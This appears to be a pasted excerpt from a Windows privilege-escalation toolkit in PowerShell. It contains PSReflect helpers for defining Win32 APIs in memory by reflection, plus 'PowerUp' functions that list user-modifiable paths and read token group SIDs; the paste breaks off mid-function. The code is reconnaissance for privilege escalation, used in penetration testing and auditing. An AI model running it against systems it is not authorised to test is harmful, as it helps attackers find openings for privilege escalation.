· 7 years ago · Sep 27, 2018, 01:16 PM
1
2#Requires -Version 2
3
4
5########################################################
6#
7# PSReflect code for Windows API access
8# Author: @mattifestation
9# https://raw.githubusercontent.com/mattifestation/PSReflect/master/PSReflect.psm1
10#
11########################################################
12
13function New-InMemoryModule
14{
15<#
16.SYNOPSIS
17
18Creates an in-memory assembly and module
19
20Author: Matthew Graeber (@mattifestation)
21License: BSD 3-Clause
22Required Dependencies: None
23Optional Dependencies: None
24
25.DESCRIPTION
26
27When defining custom enums, structs, and unmanaged functions, it is
28necessary to associate to an assembly module. This helper function
29creates an in-memory module that can be passed to the 'enum',
30'struct', and Add-Win32Type functions.
31
32.PARAMETER ModuleName
33
34Specifies the desired name for the in-memory assembly and module. If
35ModuleName is not provided, it will default to a GUID.
36
37.EXAMPLE
38
39$Module = New-InMemoryModule -ModuleName Win32
40#>
41
42 Param
43 (
44 [Parameter(Position = 0)]
45 [ValidateNotNullOrEmpty()]
46 [String]
47 $ModuleName = [Guid]::NewGuid().ToString()
48 )
49
50 $AppDomain = [Reflection.Assembly].Assembly.GetType('System.AppDomain').GetProperty('CurrentDomain').GetValue($null, @())
51 $LoadedAssemblies = $AppDomain.GetAssemblies()
52
53 foreach ($Assembly in $LoadedAssemblies) {
54 if ($Assembly.FullName -and ($Assembly.FullName.Split(',')[0] -eq $ModuleName)) {
55 return $Assembly
56 }
57 }
58
59 $DynAssembly = New-Object Reflection.AssemblyName($ModuleName)
60 $Domain = $AppDomain
61 $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, 'Run')
62 $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule($ModuleName, $False)
63
64 return $ModuleBuilder
65}
66
67
68# A helper function used to reduce typing while defining function
69# prototypes for Add-Win32Type.
70function func
71{
72 Param
73 (
74 [Parameter(Position = 0, Mandatory=$True)]
75 [String]
76 $DllName,
77
78 [Parameter(Position = 1, Mandatory=$True)]
79 [string]
80 $FunctionName,
81
82 [Parameter(Position = 2, Mandatory=$True)]
83 [Type]
84 $ReturnType,
85
86 [Parameter(Position = 3)]
87 [Type[]]
88 $ParameterTypes,
89
90 [Parameter(Position = 4)]
91 [Runtime.InteropServices.CallingConvention]
92 $NativeCallingConvention,
93
94 [Parameter(Position = 5)]
95 [Runtime.InteropServices.CharSet]
96 $Charset,
97
98 [String]
99 $EntryPoint,
100
101 [Switch]
102 $SetLastError
103 )
104
105 $Properties = @{
106 DllName = $DllName
107 FunctionName = $FunctionName
108 ReturnType = $ReturnType
109 }
110
111 if ($ParameterTypes) { $Properties['ParameterTypes'] = $ParameterTypes }
112 if ($NativeCallingConvention) { $Properties['NativeCallingConvention'] = $NativeCallingConvention }
113 if ($Charset) { $Properties['Charset'] = $Charset }
114 if ($SetLastError) { $Properties['SetLastError'] = $SetLastError }
115 if ($EntryPoint) { $Properties['EntryPoint'] = $EntryPoint }
116
117 New-Object PSObject -Property $Properties
118}
119
120
121function Add-Win32Type
122{
123<#
124.SYNOPSIS
125
126Creates a .NET type for an unmanaged Win32 function.
127
128Author: Matthew Graeber (@mattifestation)
129License: BSD 3-Clause
130Required Dependencies: None
131Optional Dependencies: func
132
133.DESCRIPTION
134
135Add-Win32Type enables you to easily interact with unmanaged (i.e.
136Win32 unmanaged) functions in PowerShell. After providing
137Add-Win32Type with a function signature, a .NET type is created
138using reflection (i.e. csc.exe is never called like with Add-Type).
139
140The 'func' helper function can be used to reduce typing when defining
141multiple function definitions.
142
143.PARAMETER DllName
144
145The name of the DLL.
146
147.PARAMETER FunctionName
148
149The name of the target function.
150
151.PARAMETER EntryPoint
152
153The DLL export function name. This argument should be specified if the
154specified function name is different than the name of the exported
155function.
156
157.PARAMETER ReturnType
158
159The return type of the function.
160
161.PARAMETER ParameterTypes
162
163The function parameters.
164
165.PARAMETER NativeCallingConvention
166
167Specifies the native calling convention of the function. Defaults to
168stdcall.
169
170.PARAMETER Charset
171
172If you need to explicitly call an 'A' or 'W' Win32 function, you can
173specify the character set.
174
175.PARAMETER SetLastError
176
177Indicates whether the callee calls the SetLastError Win32 API
178function before returning from the attributed method.
179
180.PARAMETER Module
181
182The in-memory module that will host the functions. Use
183New-InMemoryModule to define an in-memory module.
184
185.PARAMETER Namespace
186
187An optional namespace to prepend to the type. Add-Win32Type defaults
188to a namespace consisting only of the name of the DLL.
189
190.EXAMPLE
191
192$Mod = New-InMemoryModule -ModuleName Win32
193
194$FunctionDefinitions = @(
195 (func kernel32 GetProcAddress ([IntPtr]) @([IntPtr], [String]) -Charset Ansi -SetLastError),
196 (func kernel32 GetModuleHandle ([Intptr]) @([String]) -SetLastError),
197 (func ntdll RtlGetCurrentPeb ([IntPtr]) @())
198)
199
200$Types = $FunctionDefinitions | Add-Win32Type -Module $Mod -Namespace 'Win32'
201$Kernel32 = $Types['kernel32']
202$Ntdll = $Types['ntdll']
203$Ntdll::RtlGetCurrentPeb()
204$ntdllbase = $Kernel32::GetModuleHandle('ntdll')
205$Kernel32::GetProcAddress($ntdllbase, 'RtlGetCurrentPeb')
206
207.NOTES
208
209Inspired by Lee Holmes' Invoke-WindowsApi http://poshcode.org/2189
210
211When defining multiple function prototypes, it is ideal to provide
212Add-Win32Type with an array of function signatures. That way, they
213are all incorporated into the same in-memory module.
214#>
215
216 [OutputType([Hashtable])]
217 Param(
218 [Parameter(Mandatory=$True, ValueFromPipelineByPropertyName=$True)]
219 [String]
220 $DllName,
221
222 [Parameter(Mandatory=$True, ValueFromPipelineByPropertyName=$True)]
223 [String]
224 $FunctionName,
225
226 [Parameter(ValueFromPipelineByPropertyName=$True)]
227 [String]
228 $EntryPoint,
229
230 [Parameter(Mandatory=$True, ValueFromPipelineByPropertyName=$True)]
231 [Type]
232 $ReturnType,
233
234 [Parameter(ValueFromPipelineByPropertyName=$True)]
235 [Type[]]
236 $ParameterTypes,
237
238 [Parameter(ValueFromPipelineByPropertyName=$True)]
239 [Runtime.InteropServices.CallingConvention]
240 $NativeCallingConvention = [Runtime.InteropServices.CallingConvention]::StdCall,
241
242 [Parameter(ValueFromPipelineByPropertyName=$True)]
243 [Runtime.InteropServices.CharSet]
244 $Charset = [Runtime.InteropServices.CharSet]::Auto,
245
246 [Parameter(ValueFromPipelineByPropertyName=$True)]
247 [Switch]
248 $SetLastError,
249
250 [Parameter(Mandatory=$True)]
251 [ValidateScript({($_ -is [Reflection.Emit.ModuleBuilder]) -or ($_ -is [Reflection.Assembly])})]
252 $Module,
253
254 [ValidateNotNull()]
255 [String]
256 $Namespace = ''
257 )
258
259 BEGIN
260 {
261 $TypeHash = @{}
262 }
263
264 PROCESS
265 {
266 if ($Module -is [Reflection.Assembly])
267 {
268 if ($Namespace)
269 {
270 $TypeHash[$DllName] = $Module.GetType("$Namespace.$DllName")
271 }
272 else
273 {
274 $TypeHash[$DllName] = $Module.GetType($DllName)
275 }
276 }
277 else
278 {
279 # Define one type for each DLL
280 if (!$TypeHash.ContainsKey($DllName))
281 {
282 if ($Namespace)
283 {
284 $TypeHash[$DllName] = $Module.DefineType("$Namespace.$DllName", 'Public,BeforeFieldInit')
285 }
286 else
287 {
288 $TypeHash[$DllName] = $Module.DefineType($DllName, 'Public,BeforeFieldInit')
289 }
290 }
291
292 $Method = $TypeHash[$DllName].DefineMethod(
293 $FunctionName,
294 'Public,Static,PinvokeImpl',
295 $ReturnType,
296 $ParameterTypes)
297
298 # Make each ByRef parameter an Out parameter
299 $i = 1
300 foreach($Parameter in $ParameterTypes)
301 {
302 if ($Parameter.IsByRef)
303 {
304 [void] $Method.DefineParameter($i, 'Out', $null)
305 }
306
307 $i++
308 }
309
310 $DllImport = [Runtime.InteropServices.DllImportAttribute]
311 $SetLastErrorField = $DllImport.GetField('SetLastError')
312 $CallingConventionField = $DllImport.GetField('CallingConvention')
313 $CharsetField = $DllImport.GetField('CharSet')
314 $EntryPointField = $DllImport.GetField('EntryPoint')
315 if ($SetLastError) { $SLEValue = $True } else { $SLEValue = $False }
316
317 if ($PSBoundParameters['EntryPoint']) { $ExportedFuncName = $EntryPoint } else { $ExportedFuncName = $FunctionName }
318
319 # Equivalent to C# version of [DllImport(DllName)]
320 $Constructor = [Runtime.InteropServices.DllImportAttribute].GetConstructor([String])
321 $DllImportAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($Constructor,
322 $DllName, [Reflection.PropertyInfo[]] @(), [Object[]] @(),
323 [Reflection.FieldInfo[]] @($SetLastErrorField,
324 $CallingConventionField,
325 $CharsetField,
326 $EntryPointField),
327 [Object[]] @($SLEValue,
328 ([Runtime.InteropServices.CallingConvention] $NativeCallingConvention),
329 ([Runtime.InteropServices.CharSet] $Charset),
330 $ExportedFuncName))
331
332 $Method.SetCustomAttribute($DllImportAttribute)
333 }
334 }
335
336 END
337 {
338 if ($Module -is [Reflection.Assembly])
339 {
340 return $TypeHash
341 }
342
343 $ReturnTypes = @{}
344
345 foreach ($Key in $TypeHash.Keys)
346 {
347 $Type = $TypeHash[$Key].CreateType()
348
349 $ReturnTypes[$Key] = $Type
350 }
351
352 return $ReturnTypes
353 }
354}
355
356
357function psenum
358{
359<#
360.SYNOPSIS
361
362Creates an in-memory enumeration for use in your PowerShell session.
363
364Author: Matthew Graeber (@mattifestation)
365License: BSD 3-Clause
366Required Dependencies: None
367Optional Dependencies: None
368
369.DESCRIPTION
370
371The 'psenum' function facilitates the creation of enums entirely in
372memory using as close to a "C style" as PowerShell will allow.
373
374.PARAMETER Module
375
376The in-memory module that will host the enum. Use
377New-InMemoryModule to define an in-memory module.
378
379.PARAMETER FullName
380
381The fully-qualified name of the enum.
382
383.PARAMETER Type
384
385The type of each enum element.
386
387.PARAMETER EnumElements
388
389A hashtable of enum elements.
390
391.PARAMETER Bitfield
392
393Specifies that the enum should be treated as a bitfield.
394
395.EXAMPLE
396
397$Mod = New-InMemoryModule -ModuleName Win32
398
399$ImageSubsystem = psenum $Mod PE.IMAGE_SUBSYSTEM UInt16 @{
400 UNKNOWN = 0
401 NATIVE = 1 # Image doesn't require a subsystem.
402 WINDOWS_GUI = 2 # Image runs in the Windows GUI subsystem.
403 WINDOWS_CUI = 3 # Image runs in the Windows character subsystem.
404 OS2_CUI = 5 # Image runs in the OS/2 character subsystem.
405 POSIX_CUI = 7 # Image runs in the Posix character subsystem.
406 NATIVE_WINDOWS = 8 # Image is a native Win9x driver.
407 WINDOWS_CE_GUI = 9 # Image runs in the Windows CE subsystem.
408 EFI_APPLICATION = 10
409 EFI_BOOT_SERVICE_DRIVER = 11
410 EFI_RUNTIME_DRIVER = 12
411 EFI_ROM = 13
412 XBOX = 14
413 WINDOWS_BOOT_APPLICATION = 16
414}
415
416.NOTES
417
418PowerShell purists may disagree with the naming of this function but
419again, this was developed in such a way so as to emulate a "C style"
420definition as closely as possible. Sorry, I'm not going to name it
421New-Enum. :P
422#>
423
424 [OutputType([Type])]
425 Param
426 (
427 [Parameter(Position = 0, Mandatory=$True)]
428 [ValidateScript({($_ -is [Reflection.Emit.ModuleBuilder]) -or ($_ -is [Reflection.Assembly])})]
429 $Module,
430
431 [Parameter(Position = 1, Mandatory=$True)]
432 [ValidateNotNullOrEmpty()]
433 [String]
434 $FullName,
435
436 [Parameter(Position = 2, Mandatory=$True)]
437 [Type]
438 $Type,
439
440 [Parameter(Position = 3, Mandatory=$True)]
441 [ValidateNotNullOrEmpty()]
442 [Hashtable]
443 $EnumElements,
444
445 [Switch]
446 $Bitfield
447 )
448
449 if ($Module -is [Reflection.Assembly])
450 {
451 return ($Module.GetType($FullName))
452 }
453
454 $EnumType = $Type -as [Type]
455
456 $EnumBuilder = $Module.DefineEnum($FullName, 'Public', $EnumType)
457
458 if ($Bitfield)
459 {
460 $FlagsConstructor = [FlagsAttribute].GetConstructor(@())
461 $FlagsCustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($FlagsConstructor, @())
462 $EnumBuilder.SetCustomAttribute($FlagsCustomAttribute)
463 }
464
465 foreach ($Key in $EnumElements.Keys)
466 {
467 # Apply the specified enum type to each element
468 $null = $EnumBuilder.DefineLiteral($Key, $EnumElements[$Key] -as $EnumType)
469 }
470
471 $EnumBuilder.CreateType()
472}
473
474
475# A helper function used to reduce typing while defining struct
476# fields.
477function field
478{
479 Param
480 (
481 [Parameter(Position = 0, Mandatory=$True)]
482 [UInt16]
483 $Position,
484
485 [Parameter(Position = 1, Mandatory=$True)]
486 [Type]
487 $Type,
488
489 [Parameter(Position = 2)]
490 [UInt16]
491 $Offset,
492
493 [Object[]]
494 $MarshalAs
495 )
496
497 @{
498 Position = $Position
499 Type = $Type -as [Type]
500 Offset = $Offset
501 MarshalAs = $MarshalAs
502 }
503}
504
505
506function struct
507{
508<#
509.SYNOPSIS
510
511Creates an in-memory struct for use in your PowerShell session.
512
513Author: Matthew Graeber (@mattifestation)
514License: BSD 3-Clause
515Required Dependencies: None
516Optional Dependencies: field
517
518.DESCRIPTION
519
520The 'struct' function facilitates the creation of structs entirely in
521memory using as close to a "C style" as PowerShell will allow. Struct
522fields are specified using a hashtable where each field of the struct
523is comprosed of the order in which it should be defined, its .NET
524type, and optionally, its offset and special marshaling attributes.
525
526One of the features of 'struct' is that after your struct is defined,
527it will come with a built-in GetSize method as well as an explicit
528converter so that you can easily cast an IntPtr to the struct without
529relying upon calling SizeOf and/or PtrToStructure in the Marshal
530class.
531
532.PARAMETER Module
533
534The in-memory module that will host the struct. Use
535New-InMemoryModule to define an in-memory module.
536
537.PARAMETER FullName
538
539The fully-qualified name of the struct.
540
541.PARAMETER StructFields
542
543A hashtable of fields. Use the 'field' helper function to ease
544defining each field.
545
546.PARAMETER PackingSize
547
548Specifies the memory alignment of fields.
549
550.PARAMETER ExplicitLayout
551
552Indicates that an explicit offset for each field will be specified.
553
554.EXAMPLE
555
556$Mod = New-InMemoryModule -ModuleName Win32
557
558$ImageDosSignature = psenum $Mod PE.IMAGE_DOS_SIGNATURE UInt16 @{
559 DOS_SIGNATURE = 0x5A4D
560 OS2_SIGNATURE = 0x454E
561 OS2_SIGNATURE_LE = 0x454C
562 VXD_SIGNATURE = 0x454C
563}
564
565$ImageDosHeader = struct $Mod PE.IMAGE_DOS_HEADER @{
566 e_magic = field 0 $ImageDosSignature
567 e_cblp = field 1 UInt16
568 e_cp = field 2 UInt16
569 e_crlc = field 3 UInt16
570 e_cparhdr = field 4 UInt16
571 e_minalloc = field 5 UInt16
572 e_maxalloc = field 6 UInt16
573 e_ss = field 7 UInt16
574 e_sp = field 8 UInt16
575 e_csum = field 9 UInt16
576 e_ip = field 10 UInt16
577 e_cs = field 11 UInt16
578 e_lfarlc = field 12 UInt16
579 e_ovno = field 13 UInt16
580 e_res = field 14 UInt16[] -MarshalAs @('ByValArray', 4)
581 e_oemid = field 15 UInt16
582 e_oeminfo = field 16 UInt16
583 e_res2 = field 17 UInt16[] -MarshalAs @('ByValArray', 10)
584 e_lfanew = field 18 Int32
585}
586
587# Example of using an explicit layout in order to create a union.
588$TestUnion = struct $Mod TestUnion @{
589 field1 = field 0 UInt32 0
590 field2 = field 1 IntPtr 0
591} -ExplicitLayout
592
593.NOTES
594
595PowerShell purists may disagree with the naming of this function but
596again, this was developed in such a way so as to emulate a "C style"
597definition as closely as possible. Sorry, I'm not going to name it
598New-Struct. :P
599#>
600
601 [OutputType([Type])]
602 Param
603 (
604 [Parameter(Position = 1, Mandatory=$True)]
605 [ValidateScript({($_ -is [Reflection.Emit.ModuleBuilder]) -or ($_ -is [Reflection.Assembly])})]
606 $Module,
607
608 [Parameter(Position = 2, Mandatory=$True)]
609 [ValidateNotNullOrEmpty()]
610 [String]
611 $FullName,
612
613 [Parameter(Position = 3, Mandatory=$True)]
614 [ValidateNotNullOrEmpty()]
615 [Hashtable]
616 $StructFields,
617
618 [Reflection.Emit.PackingSize]
619 $PackingSize = [Reflection.Emit.PackingSize]::Unspecified,
620
621 [Switch]
622 $ExplicitLayout
623 )
624
625 if ($Module -is [Reflection.Assembly])
626 {
627 return ($Module.GetType($FullName))
628 }
629
630 [Reflection.TypeAttributes] $StructAttributes = 'AnsiClass,
631 Class,
632 Public,
633 Sealed,
634 BeforeFieldInit'
635
636 if ($ExplicitLayout)
637 {
638 $StructAttributes = $StructAttributes -bor [Reflection.TypeAttributes]::ExplicitLayout
639 }
640 else
641 {
642 $StructAttributes = $StructAttributes -bor [Reflection.TypeAttributes]::SequentialLayout
643 }
644
645 $StructBuilder = $Module.DefineType($FullName, $StructAttributes, [ValueType], $PackingSize)
646 $ConstructorInfo = [Runtime.InteropServices.MarshalAsAttribute].GetConstructors()[0]
647 $SizeConst = @([Runtime.InteropServices.MarshalAsAttribute].GetField('SizeConst'))
648
649 $Fields = New-Object Hashtable[]($StructFields.Count)
650
651 # Sort each field according to the orders specified
652 # Unfortunately, PSv2 doesn't have the luxury of the
653 # hashtable [Ordered] accelerator.
654 foreach ($Field in $StructFields.Keys)
655 {
656 $Index = $StructFields[$Field]['Position']
657 $Fields[$Index] = @{FieldName = $Field; Properties = $StructFields[$Field]}
658 }
659
660 foreach ($Field in $Fields)
661 {
662 $FieldName = $Field['FieldName']
663 $FieldProp = $Field['Properties']
664
665 $Offset = $FieldProp['Offset']
666 $Type = $FieldProp['Type']
667 $MarshalAs = $FieldProp['MarshalAs']
668
669 $NewField = $StructBuilder.DefineField($FieldName, $Type, 'Public')
670
671 if ($MarshalAs)
672 {
673 $UnmanagedType = $MarshalAs[0] -as ([Runtime.InteropServices.UnmanagedType])
674 if ($MarshalAs[1])
675 {
676 $Size = $MarshalAs[1]
677 $AttribBuilder = New-Object Reflection.Emit.CustomAttributeBuilder($ConstructorInfo,
678 $UnmanagedType, $SizeConst, @($Size))
679 }
680 else
681 {
682 $AttribBuilder = New-Object Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, [Object[]] @($UnmanagedType))
683 }
684
685 $NewField.SetCustomAttribute($AttribBuilder)
686 }
687
688 if ($ExplicitLayout) { $NewField.SetOffset($Offset) }
689 }
690
691 # Make the struct aware of its own size.
692 # No more having to call [Runtime.InteropServices.Marshal]::SizeOf!
693 $SizeMethod = $StructBuilder.DefineMethod('GetSize',
694 'Public, Static',
695 [Int],
696 [Type[]] @())
697 $ILGenerator = $SizeMethod.GetILGenerator()
698 # Thanks for the help, Jason Shirk!
699 $ILGenerator.Emit([Reflection.Emit.OpCodes]::Ldtoken, $StructBuilder)
700 $ILGenerator.Emit([Reflection.Emit.OpCodes]::Call,
701 [Type].GetMethod('GetTypeFromHandle'))
702 $ILGenerator.Emit([Reflection.Emit.OpCodes]::Call,
703 [Runtime.InteropServices.Marshal].GetMethod('SizeOf', [Type[]] @([Type])))
704 $ILGenerator.Emit([Reflection.Emit.OpCodes]::Ret)
705
706 # Allow for explicit casting from an IntPtr
707 # No more having to call [Runtime.InteropServices.Marshal]::PtrToStructure!
708 $ImplicitConverter = $StructBuilder.DefineMethod('op_Implicit',
709 'PrivateScope, Public, Static, HideBySig, SpecialName',
710 $StructBuilder,
711 [Type[]] @([IntPtr]))
712 $ILGenerator2 = $ImplicitConverter.GetILGenerator()
713 $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Nop)
714 $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Ldarg_0)
715 $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Ldtoken, $StructBuilder)
716 $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Call,
717 [Type].GetMethod('GetTypeFromHandle'))
718 $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Call,
719 [Runtime.InteropServices.Marshal].GetMethod('PtrToStructure', [Type[]] @([IntPtr], [Type])))
720 $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Unbox_Any, $StructBuilder)
721 $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Ret)
722
723 $StructBuilder.CreateType()
724}
725
726
727########################################################
728#
729# PowerUp Helpers
730#
731########################################################
732
733function Get-ModifiablePath {
734<#
735 .SYNOPSIS
736
737 Parses a passed string containing multiple possible file/folder paths and returns
738 the file paths where the current user has modification rights.
739
740 Author: @harmj0y
741 License: BSD 3-Clause
742
743 .DESCRIPTION
744
745 Takes a complex path specification of an initial file/folder path with possible
746 configuration files, 'tokenizes' the string in a number of possible ways, and
747 enumerates the ACLs for each path that currently exists on the system. Any path that
748 the current user has modification rights on is returned in a custom object that contains
749 the modifiable path, associated permission set, and the IdentityReference with the specified
750 rights. The SID of the current user and any group he/she are a part of are used as the
751 comparison set against the parsed path DACLs.
752
753 .PARAMETER Path
754
755 The string path to parse for modifiable files. Required
756
757 .PARAMETER LiteralPaths
758
759 Switch. Treat all paths as literal (i.e. don't do 'tokenization').
760
761 .EXAMPLE
762
763 PS C:\> '"C:\Temp\blah.exe" -f "C:\Temp\config.ini"' | Get-ModifiablePath
764
765 Path Permissions IdentityReference
766 ---- ----------- -----------------
767 C:\Temp\blah.exe {ReadAttributes, ReadCo... NT AUTHORITY\Authentic...
768 C:\Temp\config.ini {ReadAttributes, ReadCo... NT AUTHORITY\Authentic...
769
770 .EXAMPLE
771
772 PS C:\> Get-ChildItem C:\Vuln\ -Recurse | Get-ModifiablePath
773
774 Path Permissions IdentityReference
775 ---- ----------- -----------------
776 C:\Vuln\blah.bat {ReadAttributes, ReadCo... NT AUTHORITY\Authentic...
777 C:\Vuln\config.ini {ReadAttributes, ReadCo... NT AUTHORITY\Authentic...
778 ...
779#>
780
781 [CmdletBinding()]
782 Param(
783 [Parameter(Mandatory=$True, ValueFromPipeline=$True, ValueFromPipelineByPropertyName=$True)]
784 [Alias('FullName')]
785 [String[]]
786 $Path,
787
788 [Switch]
789 $LiteralPaths
790 )
791
792 BEGIN {
793 # # false positives ?
794 # $Excludes = @("MsMpEng.exe", "NisSrv.exe")
795
796 # from http://stackoverflow.com/questions/28029872/retrieving-security-descriptor-and-getting-number-for-filesystemrights
797 $AccessMask = @{
798 [uint32]'0x80000000' = 'GenericRead'
799 [uint32]'0x40000000' = 'GenericWrite'
800 [uint32]'0x20000000' = 'GenericExecute'
801 [uint32]'0x10000000' = 'GenericAll'
802 [uint32]'0x02000000' = 'MaximumAllowed'
803 [uint32]'0x01000000' = 'AccessSystemSecurity'
804 [uint32]'0x00100000' = 'Synchronize'
805 [uint32]'0x00080000' = 'WriteOwner'
806 [uint32]'0x00040000' = 'WriteDAC'
807 [uint32]'0x00020000' = 'ReadControl'
808 [uint32]'0x00010000' = 'Delete'
809 [uint32]'0x00000100' = 'WriteAttributes'
810 [uint32]'0x00000080' = 'ReadAttributes'
811 [uint32]'0x00000040' = 'DeleteChild'
812 [uint32]'0x00000020' = 'Execute/Traverse'
813 [uint32]'0x00000010' = 'WriteExtendedAttributes'
814 [uint32]'0x00000008' = 'ReadExtendedAttributes'
815 [uint32]'0x00000004' = 'AppendData/AddSubdirectory'
816 [uint32]'0x00000002' = 'WriteData/AddFile'
817 [uint32]'0x00000001' = 'ReadData/ListDirectory'
818 }
819
820 $UserIdentity = [System.Security.Principal.WindowsIdentity]::GetCurrent()
821 $CurrentUserSids = $UserIdentity.Groups | Select-Object -ExpandProperty Value
822 $CurrentUserSids += $UserIdentity.User.Value
823
824 $TranslatedIdentityReferences = @{}
825 }
826
827 PROCESS {
828
829 ForEach($TargetPath in $Path) {
830
831 $CandidatePaths = @()
832
833 # possible separator character combinations
834 $SeparationCharacterSets = @('"', "'", ' ', "`"'", '" ', "' ", "`"' ")
835
836 if($PSBoundParameters['LiteralPaths']) {
837
838 $TempPath = $([System.Environment]::ExpandEnvironmentVariables($TargetPath))
839
840 if(Test-Path -Path $TempPath -ErrorAction SilentlyContinue) {
841 $CandidatePaths += Resolve-Path -Path $TempPath | Select-Object -ExpandProperty Path
842 }
843 else {
844 # if the path doesn't exist, check if the parent folder allows for modification
845 try {
846 $ParentPath = Split-Path $TempPath -Parent
847 if($ParentPath -and (Test-Path -Path $ParentPath)) {
848 $CandidatePaths += Resolve-Path -Path $ParentPath -ErrorAction SilentlyContinue | Select-Object -ExpandProperty Path
849 }
850 }
851 catch {
852 # because Split-Path doesn't handle -ErrorAction SilentlyContinue nicely
853 }
854 }
855 }
856 else {
857 ForEach($SeparationCharacterSet in $SeparationCharacterSets) {
858 $TargetPath.Split($SeparationCharacterSet) | Where-Object {$_ -and ($_.trim() -ne '')} | ForEach-Object {
859
860 if(($SeparationCharacterSet -notmatch ' ')) {
861
862 $TempPath = $([System.Environment]::ExpandEnvironmentVariables($_)).Trim()
863
864 if($TempPath -and ($TempPath -ne '')) {
865 if(Test-Path -Path $TempPath -ErrorAction SilentlyContinue) {
866 # if the path exists, resolve it and add it to the candidate list
867 $CandidatePaths += Resolve-Path -Path $TempPath | Select-Object -ExpandProperty Path
868 }
869
870 else {
871 # if the path doesn't exist, check if the parent folder allows for modification
872 try {
873 $ParentPath = (Split-Path -Path $TempPath -Parent).Trim()
874 if($ParentPath -and ($ParentPath -ne '') -and (Test-Path -Path $ParentPath )) {
875 $CandidatePaths += Resolve-Path -Path $ParentPath | Select-Object -ExpandProperty Path
876 }
877 }
878 catch {
879 # trap because Split-Path doesn't handle -ErrorAction SilentlyContinue nicely
880 }
881 }
882 }
883 }
884 else {
885 # if the separator contains a space
886 $CandidatePaths += Resolve-Path -Path $([System.Environment]::ExpandEnvironmentVariables($_)) -ErrorAction SilentlyContinue | Select-Object -ExpandProperty Path | ForEach-Object {$_.Trim()} | Where-Object {($_ -ne '') -and (Test-Path -Path $_)}
887 }
888 }
889 }
890 }
891
892 $CandidatePaths | Sort-Object -Unique | ForEach-Object {
893 $CandidatePath = $_
894 Get-Acl -Path $CandidatePath | Select-Object -ExpandProperty Access | Where-Object {($_.AccessControlType -match 'Allow')} | ForEach-Object {
895
896 $FileSystemRights = $_.FileSystemRights.value__
897
898 $Permissions = $AccessMask.Keys | Where-Object { $FileSystemRights -band $_ } | ForEach-Object { $accessMask[$_] }
899
900 # the set of permission types that allow for modification
901 $Comparison = Compare-Object -ReferenceObject $Permissions -DifferenceObject @('GenericWrite', 'GenericAll', 'MaximumAllowed', 'WriteOwner', 'WriteDAC', 'WriteData/AddFile', 'AppendData/AddSubdirectory') -IncludeEqual -ExcludeDifferent
902
903 if($Comparison) {
904 if ($_.IdentityReference -notmatch '^S-1-5.*') {
905 if(-not ($TranslatedIdentityReferences[$_.IdentityReference])) {
906 # translate the IdentityReference if it's a username and not a SID
907 $IdentityUser = New-Object System.Security.Principal.NTAccount($_.IdentityReference)
908 $TranslatedIdentityReferences[$_.IdentityReference] = $IdentityUser.Translate([System.Security.Principal.SecurityIdentifier]) | Select-Object -ExpandProperty Value
909 }
910 $IdentitySID = $TranslatedIdentityReferences[$_.IdentityReference]
911 }
912 else {
913 $IdentitySID = $_.IdentityReference
914 }
915
916 if($CurrentUserSids -contains $IdentitySID) {
917 New-Object -TypeName PSObject -Property @{
918 ModifiablePath = $CandidatePath
919 IdentityReference = $_.IdentityReference
920 Permissions = $Permissions
921 }
922 }
923 }
924 }
925 }
926 }
927 }
928}
929
930
931function Get-CurrentUserTokenGroupSid {
932<#
933 .SYNOPSIS
934
935 Returns all SIDs that the current user is a part of, whether they are disabled or not.
936
937 Author: @harmj0y
938 License: BSD 3-Clause
939
940 .DESCRIPTION
941
942 First gets the current process handle using the GetCurrentProcess() Win32 API call and feeds
943 this to OpenProcessToken() to open up a handle to the current process token. The API call
944 GetTokenInformation() is then used to enumerate the TOKEN_GROUPS for the current process
945 token. Each group is iterated through and the SID structure is converted to a readable
946 string using ConvertSidToStringSid(), and the unique list of SIDs the user is a part of
947 (disabled or not) is returned as a string array.
948
949 .LINK
950
951 https://msdn.microsoft.com/en-us/library/windows/desktop/aa446671(v=vs.85).aspx
952 https://msdn.microsoft.com/en-us/library/windows/desktop/aa379624(v=vs.85).aspx
953 https://msdn.microsoft.com/en-us/library/windows/desktop/aa379554(v=vs.85).aspx
954#>
955
956 [CmdletBinding()]
957 Param()
958
959 $CurrentProcess = $Kernel32::GetCurrentProcess()
960
961 $TOKEN_QUERY= 0x0008
962
963 # open up a pseudo handle to the current process- don't need to worry about closing
964 [IntPtr]$hProcToken = [IntPtr]::Zero
965 $Success = $Advapi32::OpenProcessToken($CurrentProcess, $TOKEN_QUERY, [ref]$hProcToken);$LastError = [Runtime.InteropServices.Marshal]::GetLastWin32Error()
966
967 if($Success) {
968 $TokenGroupsPtrSize = 0
969 # Initial query to determine the necessary buffer size
970 $Success = $Advapi32::GetTokenInformation($hProcToken, 2, 0, $TokenGroupsPtrSize, [ref]$TokenGroupsPtrSize)
971
972 [IntPtr]$TokenGroupsPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TokenGroupsPtrSize)
973
974 # query the current process token with the 'TokenGroups=2' TOKEN_INFORMATION_CLASS enum to retrieve a TOKEN_GROUPS structure
975 $Success = $Advapi32::GetTokenInformation($hProcToken, 2, $TokenGroupsPtr, $TokenGroupsPtrSize, [ref]$TokenGroupsPtrSize);$LastError = [Runtime.InteropServices.Marshal]::GetLastWin32Error()
976
977 if($Success) {
978
979 $TokenGroups = $TokenGroupsPtr -as $TOKEN_GROUPS
980
981 For ($i=0; $i -lt $TokenGroups.GroupCount; $i++) {
982 # convert each token group SID to a displayable string
983 $SidString = ''
984 $Result = $Advapi32::ConvertSidToStringSid($TokenGroups.Groups[$i].SID, [ref]$SidString);$LastError = [Runtime.InteropServices.Marshal]::GetLastWin32Error()
985 if($Result -eq 0) {
986 Write-Verbose "Error: $(([ComponentModel.Win32Exception] $LastError).Message)"
987 }
988 else {
989 $GroupSid = New-Object PSObject
990 $GroupSid | Add-Member Noteproperty 'SID' $SidString
991 # cast the atttributes field as our SidAttributes enum
992 $GroupSid | Add-Member Noteproperty 'Attributes' ($TokenGroups.Groups[$i].Attributes -as $SidAttributes)
